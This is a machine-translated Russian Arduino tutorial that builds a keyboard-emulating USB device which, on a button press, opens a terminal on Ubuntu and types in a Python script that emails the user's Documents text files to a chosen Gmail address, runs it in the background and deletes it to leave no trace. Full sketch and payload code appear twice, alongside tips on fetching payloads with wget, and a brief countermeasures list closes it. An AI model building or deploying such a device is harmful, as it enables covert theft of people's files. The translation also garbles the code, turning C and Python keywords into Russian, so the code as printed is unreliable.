Демонстрация использования клавиатуры Arduino (HID) и предотвращение
Компоненты и расходные материалы
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 | ||||
| × | 1 |
Об этом проекте
В этом проекте мы собираемся использовать Arduino Leonardo для моделирования возможной атаки USB с использованием HID (интерфейсное устройство humain).
Я создал это руководство не для того, чтобы помочь хакерам, а для того, чтобы показать вам некоторые реальные опасности и способы защиты от этих опасностей. Это устройство не является устройством, которое можно использовать на любой платформе для хакеров, это скорее детальное подтверждение концепции.
Мы собираемся узнать следующее:
- как использовать arduino leonardo для эмуляции клавиатуры
- как читать данные с SD-карт
- как создать скрипт на Python, который сканирует файлы и отправляет их по электронной почте.
- как защитить себя от взлома USB-устройств.
Шаг 1. Материалы
Детали:
1. Ардуино Леонардо
2. кардридер micro USB
3. SD-карта на несколько ГБ
4. кнопка вроде этот один (VCC, Земля и сигнал)
5. кабельные перемычки "мама-папа" и "женщина-женщина"
6. кабель micro USB - USB
Шаг 2. Сборка устройства
Перед инструкцией по сборке рассмотрим принцип работы:
Arduino leonardo может вести себя как устройство с человеческим интерфейсом (HID) и, следовательно, может имитировать мышь и клавиатуру. Мы собираемся использовать эту функцию, чтобы открыть терминал (в UBUNTU linux) и написать небольшой скрипт, который будет обращаться к папке / Documents внутри папки copy.txt в домашней папке пользователя и отправлять их кому-нибудь по электронной почте. Если вы хотите узнать больше, перейдите к следующему шагу.
Поскольку это демонстрационное устройство, все действительно просто, мы не собираемся ничего паять.
Инструкции по сборке
Прежде чем мы начнем, проверьте прикрепленные файлы, я прикрепил схемы фритзинга и все необходимые файлы
1. Соберите компоненты:
* подключите кабель micro USB к arduino
* подключите ключевой переключатель к Arduino (земля, модуль vcc и выходной к D8)
* подключите кардридер к ардуино (используя заголовок ICSP). Arduino leonardo не имеет разъема ICSP, подключенного к цифровым контактам, поэтому вам необходимо подключить устройство чтения карт к заголовку ICSP. Вы можете найти некоторые чертежи ICSP здесь:https://learn.sparkfun.com/tutorials/installing-an .... Подключите контакт SS к цифровому контакту 10
2. получить код Arduino . , вы можете клонировать мой репозиторий arduino на github:https://github.com/danionescu0/arduino и перейти в проекты / keyboard_exploit или получить его снизу:
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup () {pinMode (buttonPin, ВВОД); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println («Карта вышла из строя или отсутствует!»); возвращение; }} недействительный цикл () {int buttonState =digitalRead (buttonPin); если ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println («Загружено!»); задержка (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Файл dataFile =SD.open (filenameOnCard); if (! dataFile) {Serial.println («Указанное имя файла отсутствует на SD-карте, проверьте filenameOnCard!»); } Строка строки; в то время как (dataFile.available ()) {строка =dataFile.readStringUntil ('\ n'); Serial.println (строка); sendToKeyboard (строка); } dataFile.close ();} void sendToKeyboard (строка строки) {String workingLine =line; если (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (строка); возвращение; } если (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Текст:"); Serial.println (строка); Keyboard.println (строка); нажмите Ввод(); возвращение; } Serial.println ("Команда:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); workingLine + =","; в то время как (WorkingLine! ="") {WorkingLine =WorkingLine.substring (charPosition); Serial.print ("Рабочая строка:"); Serial.println (рабочая строка); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (command! ="") {Serial.print ("Команда найдена:"); Serial.println (команда); Keyboard.press (getCommandCode (команда)); задержка (delayBetweenCommands); }} Keyboard.releaseAll (); задержка (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); задержка (sleepAmount);} char getCommandCode (текст строки) {char textCharacters [2]; text.toCharArray (textCharacters, 2); код символа =textCharacters [0]; код =(текст =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:код; код =(текст =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:код; код =(текст =="KEY_LEFT_ALT")? KEY_LEFT_ALT:код; код =(текст =="СТРЕЛКА_КЛЮЧА_ВЕРХ")? KEY_UP_ARROW:код; код =(текст =="СТРЕЛКА_КЛЮЧА_ВНИЗ")? KEY_DOWN_ARROW:код; code =(текст =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:код; code =(текст =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:код; code =(текст =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:код; код =(текст =="KEY_BACKSPACE")? KEY_BACKSPACE:код; code =(текст =="KEY_TAB")? KEY_TAB:код; код =(текст =="KEY_RETURN")? KEY_RETURN:код; код =(текст =="KEY_ESC")? KEY_ESC:код; code =(текст =="KEY_INSERT")? KEY_INSERT:код; код =(текст =="KEY_DELETE")? KEY_DELETE:код; код =(текст =="KEY_PAGE_UP")? KEY_PAGE_UP:код; код =(текст =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:код; code =(текст =="KEY_HOME")? KEY_HOME:код; code =(текст =="KEY_END")? KEY_END:код; code =(текст =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:код; код =(текст =="KEY_F1")? KEY_F1:код; код =(текст =="KEY_F2")? KEY_F2:код; код =(текст =="KEY_F3")? KEY_F3:код; код =(текст =="KEY_F4")? KEY_F4:код; код =(текст =="KEY_F5")? KEY_F5:код; код =(текст =="KEY_F6")? KEY_F6:код; код =(текст =="KEY_F7")? KEY_F7:код; код =(текст =="KEY_F8")? KEY_F8:код; код =(текст =="KEY_F9")? KEY_F9:код; код =(текст =="KEY_F10")? KEY_F10:код; код =(текст =="KEY_F11")? KEY_F1:код; код =(текст =="KEY_F12")? KEY_F2:код;
код возврата;}
3. Загрузите код в Arduino, обязательно выберите скорость 9600 бод, последовательный порт и arduino leonardo
4. Отформатируйте SD-карту с помощью FAT16 или FAT32
5. Если вы клонировали репозиторий github сверху, копировать файл hack.txt на карте, если он не указан ниже:
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom электронной почты. email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' sender_gmail_password'to_address ='Receiver_address'scan_documents_location =' Documents'subject =body ='Files from hacked computer:\ nFrom'header} {1} \ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ['From'] =smtp_user msg ['Кому'] =COMMASPACE.join (to) msg ['Date'] =formatdate (localtime =True) msg ['Subject'] =subject msg.attach (MIMEText (text)) для файла в файлах:part =MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). read ()) Encoders.encode_base64 (part) part.add_header ('Content-Disposition', 'вложение; filename ="% s" '% os.path.basename (файл)) msg.attach (часть) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], тема, тело, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4 код>
6. Отредактируйте следующие строки:
smtp_user ='sender_email_addr'smtp_pass =' sender_password'to_address ='Receiver_address'
И замените на свои адреса электронной почты
7. Извлеките карту и вставьте ее в кардридер Arduino
sketch.fzz keyboard_exploit.ino hack.txt hack.py
Шаг 3. Подробно о том, как это работает
Как будет работать атака:
1. Когда кнопка нажата, leonardo будет читать sd-карту с помощью устройства для чтения sd-карт. На карте будет находиться специальный файл с ключами и комбинациями клавиш. Имя файла - «hack.txt».
Файл может содержать необработанный текст, и он будет передан на клавиатуру в неизменном виде.
Также он может содержать специальные команды, такие как «Sleep ::» и «Command ::».
Строка вроде:
Sleep ::200 означает, что время сна составляет 200 мс
Строка вроде:
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, t означает нажатие левой клавиши Ctrl, нажатие левой клавиши Alt, нажатие t и отпускание всех клавиш
Вы можете проверить все специальные ключи здесь:https://www.arduino.cc/en/Reference/KeyboardModif ...
2. Леонардо будет читать строку за строкой, интерпретировать команды и подражать клавишам на клавиатуре. Файл "hack.txt" содержит комбинацию клавиш, которая выполняет следующие функции (для UBUNTU linux):
а. открывает терминал (CTRL + ALT + T)
б. открывает файл Python для создания с помощью vi (пишет «vi hack.py»
c. записывает внутри скрипт python, который собирает все текстовые файлы внутри домашней папки документов и отправляет их на указанный адрес Gmail
d. запускает файл в фоновом режиме ("nohup python hack.py &")
е. удаляет файл (rm -rf hack.py)
f. закрывает терминал (ALT + F4)
Все это выполняется за несколько секунд и не оставляет следов.
Улучшения и устранение неполадок
* Вы могли заметить, что после того, как я открываю терминал, я пишу файл python. Лучше всего разместить его где-нибудь и загрузить с помощью команды "wget some_url", а затем переименовать в hack.py
* Также мы можем скачать или запустить готовый эксплойт для целевой операционной системы
* Wi-Fi можно добавить в модуль, а хаки можно загрузить через WIFI
* вы можете использовать arduino micro (который намного меньше) и встроить в него код эксплойта (чтобы он стал меньше)
Ограничения
1. Поскольку моделируемое устройство (клавиатура и мышь) не имеет обратной связи, мы не знаем, что произойдет после выдачи команды, что означает необходимость использования задержек. Например, я даю команду, чтобы открыть терминал, но я не знаю, когда он действительно откроется, поэтому мне нужно указать произвольную задержку, чтобы символы, введенные после, не были потеряны.
2. Мы можем столкнуться с проблемами с разрешениями, такими как отсутствие доступа к USB-порту или разрешение на установку чего-либо
3. Скорость набора на leonardo не так уж и велика
4. Будет работать только на целевой операционной системе (в нашем случае - UBUNTU linux)
На следующем этапе мы попытаемся найти способы использовать эти ограничения, чтобы предотвратить взлом нашего компьютера
Шаг 4. Контрмеры
1. Отключение USB-портов
- для Windows вы можете проверить это руководство:http://www.thewindowsclub.com/disable-enable-usb-w ...
2. Добавьте USB-устройства в белый список:
- для windows:https://superuser.com/questions/1152012/block-unbl ...
2. Заблокируйте компьютер, когда вас нет
3. Не входите в систему как root (требуются пароли для установки чего-либо)
4. Будьте в курсе последних событий (автоматические обновления включены)
Код
- keyboard_exploit.ino
- Фрагмент кода №1
- Фрагмент кода №2
keyboard_exploit.ino Arduino
Ошибка открытия файла.Фрагмент кода №1 Обычный текст
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup () {pinMode (buttonPin, ВВОД); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println («Карта вышла из строя или отсутствует!»); возвращение; }} недействительный цикл () {int buttonState =digitalRead (buttonPin); если ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println («Загружено!»); задержка (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Файл dataFile =SD.open (filenameOnCard); if (! dataFile) {Serial.println («Указанное имя файла отсутствует на SD-карте, проверьте filenameOnCard!»); } Строка строки; в то время как (dataFile.available ()) {строка =dataFile.readStringUntil ('\ n'); Serial.println (строка); sendToKeyboard (строка); } dataFile.close ();} void sendToKeyboard (строка строки) {String workingLine =line; если (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (строка); возвращение; } если (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Текст:"); Serial.println (строка); Keyboard.println (строка); нажмите Ввод(); возвращение; } Serial.println ("Команда:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); workingLine + =","; в то время как (WorkingLine! ="") {WorkingLine =WorkingLine.substring (charPosition); Serial.print ("Рабочая строка:"); Serial.println (рабочая строка); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (command! ="") {Serial.print ("Команда найдена:"); Serial.println (команда); Keyboard.press (getCommandCode (команда)); задержка (delayBetweenCommands); }} Keyboard.releaseAll (); задержка (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); задержка (sleepAmount);} char getCommandCode (текст строки) {char textCharacters [2]; text.toCharArray (textCharacters, 2); код символа =textCharacters [0]; код =(текст =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:код; код =(текст =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:код; код =(текст =="KEY_LEFT_ALT")? KEY_LEFT_ALT:код; код =(текст =="СТРЕЛКА_КЛЮЧА_ВЕРХ")? KEY_UP_ARROW:код; код =(текст =="СТРЕЛКА_КЛЮЧА_ВНИЗ")? KEY_DOWN_ARROW:код; code =(текст =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:код; code =(текст =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:код; code =(текст =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:код; код =(текст =="KEY_BACKSPACE")? KEY_BACKSPACE:код; code =(текст =="KEY_TAB")? KEY_TAB:код; код =(текст =="KEY_RETURN")? KEY_RETURN:код; код =(текст =="KEY_ESC")? KEY_ESC:код; code =(текст =="KEY_INSERT")? KEY_INSERT:код; код =(текст =="KEY_DELETE")? KEY_DELETE:код; код =(текст =="KEY_PAGE_UP")? KEY_PAGE_UP:код; код =(текст =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:код; code =(текст =="KEY_HOME")? KEY_HOME:код; code =(текст =="KEY_END")? KEY_END:код; code =(текст =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:код; код =(текст =="KEY_F1")? KEY_F1:код; код =(текст =="KEY_F2")? KEY_F2:код; код =(текст =="KEY_F3")? KEY_F3:код; код =(текст =="KEY_F4")? KEY_F4:код; код =(текст =="KEY_F5")? KEY_F5:код; код =(текст =="KEY_F6")? KEY_F6:код; код =(текст =="KEY_F7")? KEY_F7:код; код =(текст =="KEY_F8")? KEY_F8:код; код =(текст =="KEY_F9")? KEY_F9:код; код =(текст =="KEY_F10")? KEY_F10:код; код =(текст =="KEY_F11")? KEY_F1:код; код =(текст =="KEY_F12")? KEY_F2:код;код возврата;}
Фрагмент кода 2 Обычный текст
Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom электронной почты. import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' sender_gmail_password'to_address ='Receiver_address'scan_documents_location =' Documents'subject =body ='Files from hacked computer'header:\ nFrom:\ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ['From'] =smtp_user msg ['Кому '] =COMMASPACE.join (to) msg [' Date '] =formatdate (localtime =True) msg [' Subject '] =subject msg.attach (MIMEText (text)) для файла в файлах:part =MIMEBase (' application ', "октет-поток") part.set_payload (open (файл, "rb"). read ()) Encoders.encode_base64 (часть) part.add_header (' Content-Disposition ',' attac hment; filename ="% s" '% os.path.basename (файл)) msg.attach (часть) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], тема, тело, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduinoСхема
sketch_D4S1ftXkTU.fzzРепозиторий Arduino
Скетч находится внутри проектов / keyboard_exploith https://github.com/danionescu0/arduinoПроизводственный процесс
- ЖК-анимация и игры
- Вольтметр своими руками с использованием Arduino и смартфона
- Регистратор данных температуры и влажности
- Arduino + светодиоды + MIDI-клавиатура + MuseScore =Piano Tutor
- Связь Python3 и Arduino
- Клеточные автоматы на основе Arduino и OLED
- FM-радио с использованием Arduino и RDA8057M
- Система посещаемости на основе Arduino и Google Spreadsheet
- 64-клавишная матрица клавиатуры для прототипирования для Arduino
- Калькулятор Arduino